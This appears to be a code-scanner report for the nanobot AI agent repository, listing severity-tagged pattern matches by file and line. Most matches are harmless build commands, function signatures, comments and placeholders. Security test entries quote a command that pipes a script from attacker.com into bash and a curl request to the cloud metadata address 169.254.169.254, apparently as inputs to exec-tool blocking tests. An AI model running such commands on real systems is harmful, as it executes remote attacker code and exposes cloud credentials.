| LOW | nanobot/providers/image_generation.py | 3 | CODE | |
| 344 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | hatch_build.py | 5 | to remember `cd webui && bun run build` beforehand. | STRING |
| HIGH | hatch_build.py | 10 | development; webui contributors use `cd webui && bun run dev` (Vite HMR) and | STRING |
| HIGH | hatch_build.py | 57 | "(use `cd webui && bun run build` to bundle webui manually)" | CODE |
| HIGH | nanobot/web/__init__.py | 8 | can still use the Vite dev server at ``cd webui && bun run dev``. | STRING |
| HIGH | nanobot/agent/tools/shell.py | 542 | "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" | CODE |
| HIGH | nanobot/webui/build.py | 194 | "`cd webui && bun run build` manually" | CODE |
| HIGH | nanobot/webui/build.py | 245 | message = "Build WebUI now? This runs `cd webui && bun run build`." | CODE |
| HIGH⚡ | tests/tools/test_exec_security.py | 133 | command="echo start && curl http://169.254.169.254/latest/meta-data/ && echo done" | CODE |
| HIGH | tests/tools/test_exec_security.py | 260 | 'rm test_print.txt 2>/dev/null; echo "done"', | CODE |
| HIGH | tests/tools/test_exec_security.py | 290 | command=f'rm {target} 2>/dev/null; echo "done"', | CODE |
| HIGH⚡ | tests/tools/test_exec_platform.py | 737 | result = await ExecTool(timeout=10).execute(command="echo before && echo after") | CODE |
| HIGH | tests/tools/test_exec_platform.py | 214 | assert "if ($LASTEXITCODE -ne $null) { exit $LASTEXITCODE }" in command | CODE |
| HIGH | tests/tools/test_exec_platform.py | 567 | cmd = r'copy \\server\data\file.txt C:\local\temp && ls /tmp' | CODE |
| HIGH | tests/tools/test_exec_env.py | 118 | '/tmp/bin && curl http://attacker.com/shell.sh | bash', | CODE |
| HIGH⚡ | tests/security/test_security_network.py | 267 | assert not contains_internal_url("echo hello && ls -la") | CODE |
| HIGH⚡ | tests/utils/test_workspace_violation_throttle.py | 33 | {"command": "cat /Users/x/Downloads/01.md && echo done"}, | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 52 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "null"}\n' | CODE |
| HIGH⚡ | tests/agent/test_cursor_recovery.py | 127 | '{"cursor": null, "timestamp": "2026-04-01 10:02", "content": "also bad"}\n' | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 46 | cmd = "cd /very/long/path && cat file && echo done && sleep 1 && ls -la" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 53 | cmd = "cd D:\\Documents\\GitHub\\nanobot\\.worktree\\tomain\\nanobot && git diff origin/main...pr-2706 --name-on | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 60 | cmd = "cd /home/user/projects/nanobot/.worktree/tomain && make build" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 67 | cmd = "cd ~/projects/nanobot/workspace && pytest tests/" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 93 | cmd = "cd D:\\Documents\\GitHub\\project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 259 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 265 | cmd = "cd /very/long/path/to/some/project && npm run build && npm test" | CODE |
| HIGH⚡ | tests/agent/test_tool_hint.py | 272 | cmd = "cd /home/user/project && npm install && npm run build" | CODE |
| HIGH⚡ | tests/channels/test_websocket_channel.py | 291 | ('{"content": null}', None), # null content | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/process_runtime.py | 231 | CODE | |
| LOW | nanobot/optional_features.py | 64 | CODE | |
| LOW | nanobot/pairing/store.py | 244 | CODE | |
| LOW | nanobot/triggers/local_store.py | 396 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1398 | CODE | |
| LOW | nanobot/providers/image_generation.py | 1454 | CODE | |
| LOW | nanobot/providers/image_generation.py | 677 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 514 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 598 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1025 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1143 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1285 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1432 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1517 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1558 | CODE | |
| LOW | nanobot/providers/factory.py | 42 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 254 | CODE | |
| LOW | nanobot/providers/fallback_provider.py | 146 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 90 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 155 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 259 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 597 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 706 | CODE | |
| LOW | nanobot/providers/base.py | 274 | CODE | |
| LOW | nanobot/providers/base.py | 451 | CODE | |
| LOW | nanobot/providers/base.py | 499 | CODE | |
| LOW | nanobot/providers/base.py | 568 | CODE | |
| LOW | nanobot/providers/base.py | 592 | CODE | |
| LOW | nanobot/providers/base.py | 861 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 115 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 269 | CODE | |
| LOW | nanobot/providers/openai_responses/parsing.py | 325 | CODE | |
| LOW | nanobot/providers/openai_responses/converters.py | 63 | CODE | |
| LOW | nanobot/utils/gitstore.py | 162 | CODE | |
| LOW | nanobot/utils/gitstore.py | 217 | CODE | |
| LOW | nanobot/utils/gitstore.py | 316 | CODE | |
| LOW | nanobot/utils/gitstore.py | 440 | CODE | |
| LOW | nanobot/utils/gitstore.py | 468 | CODE | |
| LOW | nanobot/utils/run_records.py | 37 | CODE | |
| LOW | nanobot/utils/file_edit_events.py | 255 | CODE | |
| LOW | nanobot/utils/document.py | 98 | CODE | |
| LOW | nanobot/utils/document.py | 230 | CODE | |
| LOW | nanobot/utils/document.py | 265 | CODE | |
| LOW | nanobot/utils/path.py | 10 | CODE | |
| LOW | nanobot/utils/helpers.py | 376 | CODE | |
| LOW | nanobot/utils/helpers.py | 569 | CODE | |
| LOW | nanobot/utils/helpers.py | 616 | CODE | |
| LOW | nanobot/agent/runner.py | 322 | CODE | |
| LOW | nanobot/agent/runner.py | 711 | CODE | |
| LOW | nanobot/agent/memory.py | 421 | CODE | |
| LOW | nanobot/agent/memory.py | 514 | CODE | |
| LOW | nanobot/agent/loop.py | 978 | CODE | |
| LOW | nanobot/agent/loop.py | 1076 | CODE | |
| LOW | nanobot/agent/loop.py | 1766 | CODE | |
| LOW | nanobot/agent/context_governance.py | 232 | CODE | |
| LOW | nanobot/agent/context_governance.py | 258 | CODE | |
| LOW | nanobot/agent/tools/image_generation.py | 164 | CODE | |
| LOW | nanobot/agent/tools/web.py | 400 | CODE | |
| LOW | nanobot/agent/tools/web.py | 450 | CODE | |
| LOW | nanobot/agent/tools/web.py | 1072 | CODE | |
| 124 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 41 | __all__ = [ | CODE |
| LOW | nanobot/__init__.py | 64 | __all__ = [ | CODE |
| LOW | nanobot/pairing/__init__.py | 22 | __all__ = [ | CODE |
| LOW | nanobot/config/__init__.py | 18 | __all__ = [ | CODE |
| LOW | nanobot/config/loader.py | 20 | def set_config_path(path: Path) -> None: | CODE |
| LOW | nanobot/triggers/__init__.py | 11 | __all__ = [ | CODE |
| LOW | nanobot/providers/__init__.py | 10 | __all__ = [ | CODE |
| LOW | nanobot/providers/openai_compat_provider.py | 523 | def _setup_env(self, api_key: str, api_base: str | None) -> None: | CODE |
| LOW | nanobot/providers/openai_responses/__init__.py | 19 | __all__ = [ | CODE |
| LOW | nanobot/bus/__init__.py | 6 | __all__ = ["MessageBus", "InboundMessage", "OutboundMessage"] | CODE |
| LOW | nanobot/utils/__init__.py | 12 | __all__ = ["ensure_dir", "abbreviate_path"] | CODE |
| LOW | nanobot/agent/subagent.py | 151 | def set_provider(self, provider: LLMProvider, model: str) -> None: | CODE |
| LOW | nanobot/agent/memory.py | 487 | def set_last_dream_cursor(self, cursor: int) -> None: | CODE |
| LOW | nanobot/agent/__init__.py | 17 | __all__ = [ | CODE |
| LOW | nanobot/agent/loop.py | 1861 | def _set_runtime_checkpoint(self, session: Session, payload: dict[str, Any]) -> None: | CODE |
| LOW | nanobot/agent/tools/__init__.py | 17 | __all__ = [ | CODE |
| LOW⚡ | nanobot/agent/tools/message.py | 92 | def set_send_callback(self, callback: Callable[[OutboundMessage], Awaitable[None]]) -> None: | CODE |
| LOW | nanobot/agent/tools/context.py | 36 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 363 | def _set_mcp_connection(self, session: Any, server_name: str) -> None: | CODE |
| LOW⚡ | nanobot/agent/tools/mcp.py | 368 | def set_reconnect_handler(self, reconnect: _ReconnectCallback) -> None: | CODE |
| LOW | nanobot/agent/tools/loader.py | 160 | def set_context(self, ctx: Any) -> None: | CODE |
| LOW | nanobot/agent/hooks/__init__.py | 8 | __all__ = [ | CODE |
| LOW | nanobot/cli/onboard.py | 1547 | def _set_primary_quick_start_preset(config: Config, provider_name: str, model: str) -> None: | CODE |
| LOW | nanobot/cli/commands.py | 43 | def _set_nanobot_logs(enabled: bool) -> None: | CODE |
| LOW | nanobot/webui/settings_api.py | 1338 | def set_search_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/settings_api.py | 1344 | def set_fetch_value(attr: str, value: object) -> None: | CODE |
| LOW | nanobot/webui/mcp_presets_runtime.py | 5 | __all__ = ["session_extra"] | CODE |
| LOW | nanobot/webui/version_check.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | nanobot/command/__init__.py | 6 | __all__ = ["CommandContext", "CommandRouter", "register_builtin_commands"] | CODE |
| LOW | nanobot/apps/__init__.py | 5 | __all__ = ["APP_PROTOCOL_SCHEMA", "app_manifest"] | CODE |
| LOW | nanobot/apps/cli/__init__.py | 9 | __all__ = [ | CODE |
| LOW | nanobot/gateway/__init__.py | 12 | __all__ = [ | CODE |
| LOW | nanobot/cron/__init__.py | 5 | __all__ = ["CronService", "CronJob", "CronSchedule"] | CODE |
| LOW | nanobot/channels/matrix.py | 750 | async def _set_typing(self, room_id: str, typing: bool) -> None: | CODE |
| LOW | nanobot/channels/__init__.py | 6 | __all__ = ["BaseChannel", "ChannelManager"] | CODE |
| LOW⚡ | nanobot/channels/slack.py | 621 | async def _update_react_emoji(self, chat_id: str, ts: str | None) -> None: | CODE |
| LOW | nanobot/session/__init__.py | 5 | __all__ = ["SessionManager", "Session"] | CODE |
| LOW⚡ | tests/agent/test_context_aware.py | 10 | def set_context(self, ctx: RequestContext) -> None: | CODE |
| LOW | tests/cli/test_commands.py | 2537 | def set_last_dream_cursor(self, _cursor: int) -> None: | CODE |
| LOW | tests/command/test_builtin_dream.py | 45 | def set_last_dream_cursor(self, value: int) -> None: | CODE |
| LOW⚡ | tests/channels/test_mattermost_channel.py | 42 | def set_get_response(self, path: str, data: Any) -> None: | CODE |
| LOW⚡ | tests/channels/test_mattermost_channel.py | 45 | def set_post_response(self, path: str, data: Any) -> None: | CODE |
| LOW⚡ | tests/channels/test_mattermost_channel.py | 48 | def set_put_response(self, path: str, data: Any) -> None: | CODE |
| LOW⚡ | tests/channels/test_mattermost_channel.py | 51 | def set_delete_status(self, status: int) -> None: | CODE |
| LOW | tests/channels/test_telegram_channel.py | 67 | async def set_my_commands(self, commands) -> None: | CODE |
| LOW | tests/channels/test_channel_plugins.py | 782 | def _set_logs(enabled: bool) -> None: | CODE |
| LOW | tests/channels/test_channel_plugins.py | 814 | def _set_logs(enabled: bool) -> None: | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/webui/mcp_presets_api.py | 565 | "placeholder": field.placeholder, | CODE |
| LOW | tests/tools/test_message_tool_suppress.py | 56 | arguments={"content": "Email content", "channel": "email", "chat_id": "user@example.com"}, | CODE |
| LOW⚡ | tests/providers/test_openai_codex_provider.py | 25 | def fake_token(**_kwargs): | CODE |
| LOW⚡ | tests/providers/test_openai_codex_provider.py | 30 | fake_token, | CODE |
| LOW⚡ | tests/providers/test_openai_codex_provider.py | 502 | def fake_token(**_kwargs): | CODE |
| LOW⚡ | tests/providers/test_openai_codex_provider.py | 507 | fake_token, | CODE |
| LOW | tests/providers/test_openai_codex_provider.py | 250 | def fake_token(*, proxy=None): | CODE |
| LOW | tests/providers/test_openai_codex_provider.py | 268 | monkeypatch.setattr("nanobot.providers.openai_codex_provider.get_codex_token", fake_token) | CODE |
| LOW⚡ | tests/channels/test_wecom_channel.py | 134 | fake_data = b"\x89PNG\r\nfake image" | CODE |
| LOW⚡ | tests/channels/test_wecom_channel.py | 135 | client.download_file.return_value = (fake_data, "raw_photo.png") | CODE |
| LOW | webui/src/components/MessageBubble.tsx | 448 | key={`${img.url ?? "placeholder"}-${i}`} | CODE |
| LOW | webui/src/i18n/locales/vi/common.json | 15 | "placeholder": "Mật khẩu", | CODE |
| LOW | webui/src/i18n/locales/vi/common.json | 902 | "placeholder": "Mô tả hoặc chỉnh sửa ảnh…", | CODE |
| LOW | webui/src/i18n/locales/ja/common.json | 15 | "placeholder": "パスワード", | CODE |
| LOW | webui/src/i18n/locales/ja/common.json | 902 | "placeholder": "画像を説明または編集…", | CODE |
| LOW | webui/src/i18n/locales/zh-CN/common.json | 15 | "placeholder": "密码", | CODE |
| LOW | webui/src/i18n/locales/zh-CN/common.json | 915 | "placeholder": "描述或编辑图片…", | CODE |
| LOW | webui/src/i18n/locales/zh-TW/common.json | 15 | "placeholder": "密碼", | CODE |
| LOW | webui/src/i18n/locales/zh-TW/common.json | 902 | "placeholder": "描述或編輯圖片…", | CODE |
| LOW | webui/src/i18n/locales/pt-BR/common.json | 15 | "placeholder": "Senha", | CODE |
| LOW | webui/src/i18n/locales/pt-BR/common.json | 916 | "placeholder": "Descreva ou edite uma imagem…", | CODE |
| LOW | webui/src/i18n/locales/ko/common.json | 15 | "placeholder": "비밀번호", | CODE |
| LOW | webui/src/i18n/locales/ko/common.json | 902 | "placeholder": "이미지를 설명하거나 편집하세요…", | CODE |
| LOW | webui/src/i18n/locales/id/common.json | 15 | "placeholder": "Kata sandi", | CODE |
| LOW | webui/src/i18n/locales/id/common.json | 902 | "placeholder": "Deskripsikan atau edit gambar…", | CODE |
| LOW | webui/src/i18n/locales/fr/common.json | 15 | "placeholder": "Mot de passe", | CODE |
| LOW | webui/src/i18n/locales/fr/common.json | 902 | "placeholder": "Décrire ou modifier une image…", | CODE |
| LOW | webui/src/i18n/locales/es/common.json | 15 | "placeholder": "Contraseña", | CODE |
| LOW | webui/src/i18n/locales/es/common.json | 903 | "placeholder": "Describe o edita una imagen…", | CODE |
| LOW | webui/src/i18n/locales/en/common.json | 15 | "placeholder": "Password", | CODE |
| LOW | webui/src/i18n/locales/en/common.json | 916 | "placeholder": "Describe or edit an image…", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/test_api_attachment.py | 256 | # Create a file larger than 10MB | COMMENT |
| MEDIUM⚡ | tests/test_document_parsing.py | 340 | # Create a minimal PNG file (1x1 pixel) | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 443 | # Create a message from telegram channel | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 471 | # Create a long-running task stored under UNIFIED_SESSION_KEY | COMMENT |
| MEDIUM⚡ | tests/agent/test_unified_session.py | 478 | # Create a message that would have session_key=UNIFIED_SESSION_KEY after dispatch | COMMENT |
| MEDIUM⚡ | tests/agent/test_onboard_logic.py | 202 | # Create a mock field_info with None annotation | COMMENT |
| MEDIUM | tests/channels/test_channel_plugins.py | 2469 | # Create a real cancelled task | COMMENT |
| MEDIUM | tests/channels/test_email_channel.py | 1518 | # Create a real temp file to attach | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/skills/update-setup/SKILL.md | 10 | ## Step 1: Check Existing | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 16 | ## Step 2: Current Version and Install Clues | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 33 | ## Step 3: Confirm Required Inputs | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 75 | ## Step 4: Generate Skill | COMMENT |
| LOW | nanobot/skills/update-setup/SKILL.md | 121 | ## Step 5: Confirm | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 222 | ### Step 1: Understanding the Skill with Concrete Examples | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 239 | ### Step 2: Planning the Reusable Skill Contents | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 263 | ### Step 3: Initializing the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 296 | ### Step 4: Edit the Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 337 | ### Step 5: Packaging a Skill | COMMENT |
| LOW | nanobot/skills/skill-creator/SKILL.md | 365 | ### Step 6: Iterate | COMMENT |
| LOW | nanobot/channels/dingtalk.py | 780 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk.py | 795 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/weixin.py | 1419 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin.py | 1443 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin.py | 1471 | # Step 3: Send message with the media item | COMMENT |
| LOW | nanobot/channels/wecom.py | 439 | # Step 1: init | COMMENT |
| LOW | nanobot/channels/wecom.py | 456 | # Step 2: send chunks | COMMENT |
| LOW | nanobot/channels/wecom.py | 468 | # Step 3: finish | COMMENT |
| LOW⚡ | tests/test_context_documents.py | 84 | # Step 1: extract_documents separates docs from images | COMMENT |
| LOW⚡ | tests/test_context_documents.py | 87 | # Step 2: _build_user_content handles only images (none left here) | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/nanobot.py | 126 | CODE | |
| LOW | nanobot/nanobot.py | 180 | CODE | |
| LOW | nanobot/nanobot.py | 264 | CODE | |
| LOW | nanobot/providers/bedrock_provider.py | 691 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 409 | CODE | |
| LOW | nanobot/providers/openai_compat_provider.py | 1558 | CODE | |
| LOW | nanobot/providers/github_copilot_provider.py | 259 | CODE | |
| LOW | nanobot/providers/azure_openai_provider.py | 216 | CODE | |
| LOW | nanobot/providers/openai_codex_provider.py | 133 | CODE | |
| LOW | nanobot/providers/anthropic_provider.py | 706 | CODE | |
| LOW | nanobot/providers/base.py | 622 | CODE | |
| LOW | nanobot/providers/base.py | 666 | CODE | |
| LOW | nanobot/providers/base.py | 725 | CODE | |
| LOW | nanobot/agent/subagent.py | 84 | CODE | |
| LOW | nanobot/agent/subagent.py | 216 | CODE | |
| LOW | nanobot/agent/context.py | 169 | CODE | |
| LOW | nanobot/agent/loop.py | 249 | CODE | |
| LOW | nanobot/agent/loop.py | 760 | CODE | |
| LOW | nanobot/agent/loop.py | 1358 | CODE | |
| LOW | nanobot/agent/loop.py | 1962 | CODE | |
| LOW | nanobot/agent/tools/exec_session.py | 466 | CODE | |
| LOW | nanobot/agent/tools/cron.py | 131 | CODE | |
| LOW | nanobot/agent/tools/filesystem.py | 43 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 193 | CODE | |
| LOW | nanobot/agent/tools/shell.py | 287 | CODE | |
| LOW | nanobot/agent/tools/search.py | 207 | CODE | |
| LOW | nanobot/agent/tools/search.py | 409 | CODE | |
| LOW | nanobot/cli/gateway.py | 250 | CODE | |
| LOW | nanobot/cron/service.py | 664 | CODE | |
| LOW | nanobot/channels/matrix.py | 477 | CODE | |
| LOW | nanobot/channels/manager.py | 85 | CODE | |
| LOW | tests/agent/conftest.py | 35 | CODE | |
| LOW | tests/channels/test_signal_channel.py | 84 | CODE | |
| LOW | tests/channels/test_signal_channel.py | 665 | CODE | |
| LOW | tests/channels/test_discord_channel.py | 175 | CODE | |
| LOW | tests/channels/test_websocket_http_routes.py | 67 | CODE | |
| LOW | tests/channels/test_websocket_http_routes.py | 101 | CODE | |
| LOW | tests/channels/test_feishu_reply.py | 51 | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | README.md | 212 | "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 938 | "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 966 | > "apiKey": "your-api-key", | CODE |
| HIGH | docs/configuration.md | 995 | "apiKey": "your-api-key", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/channels/dingtalk.py | 780 | # Step 1: Exchange downloadCode for a temporary download URL | COMMENT |
| LOW | nanobot/channels/dingtalk.py | 795 | # Step 2: Download the file content | COMMENT |
| LOW | nanobot/channels/weixin.py | 1419 | # Step 1: Get upload URL from server (prefer upload_full_url, fallback to upload_param) | COMMENT |
| LOW | nanobot/channels/weixin.py | 1443 | # Step 2: AES-128-ECB encrypt and POST to CDN | COMMENT |
| LOW | nanobot/channels/weixin.py | 1471 | # Step 3: Send message with the media item | COMMENT |
| LOW | nanobot/channels/wecom.py | 439 | # Step 1: init | COMMENT |
| LOW | nanobot/channels/wecom.py | 456 | # Step 2: send chunks | COMMENT |
| LOW | nanobot/channels/wecom.py | 468 | # Step 3: finish | COMMENT |
| LOW⚡ | tests/test_context_documents.py | 84 | # Step 1: extract_documents separates docs from images | COMMENT |
| LOW⚡ | tests/test_context_documents.py | 87 | # Step 2: _build_user_content handles only images (none left here) | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/agent/tools/filesystem.py | 191 | # Check if resolved path starts with /dev/ (covers symlinks to devices) | COMMENT |
| LOW | nanobot/agent/tools/filesystem.py | 345 | # Read the file content after dedup check | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1018 | # Check if context_window_tokens field exists | COMMENT |
| LOW⚡ | nanobot/cli/onboard.py | 1024 | # Check if current value is the default | COMMENT |
| LOW | nanobot/skills/skill-creator/scripts/init_skill.py | 271 | # Check if directory already exists | COMMENT |
| LOW | nanobot/channels/manager.py | 760 | # Check if this message belongs to the same stream | COMMENT |
| LOW | nanobot/channels/wecom.py | 419 | # Read file size and data in a thread to avoid blocking the event loop | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/providers/openai_compat_provider.py | 1184 | # under the reasoning trace. | COMMENT |
| MEDIUM | docs/my-tool.md | 48 | # Note: prompt_tokens is cumulative across all turns, not current context window occupancy. | COMMENT |
| MEDIUM | docs/my-tool.md | 93 | # → Expand context window for long documents | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | nanobot/channels/dingtalk.py | 61 | # Parse using SDK's ChatbotMessage for robust handling | COMMENT |
| MEDIUM | nanobot/channels/signal.py | 688 | # Keep aliases of the bot account for robust mention matching. | COMMENT |
| LOW | nanobot/channels/weixin.py | 697 | # If quoted message is media, just pass the text | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | nanobot/skills/skill-creator/scripts/init_skill.py | 256 | Initialize a new skill directory with template SKILL.md. Args: skill_name: Name of the skill p | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | nanobot/providers/registry.py | 81 | # Provider supports cache_control on content blocks (e.g. Anthropic prompt caching) | COMMENT |
| LOW | nanobot/providers/registry.py | 101 | COMMENT | |
| LOW | nanobot/providers/openai_compat_provider.py | 461 | timeout=timeout_s, | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | tests/tools/test_mcp_tool.py | 704 | CODE |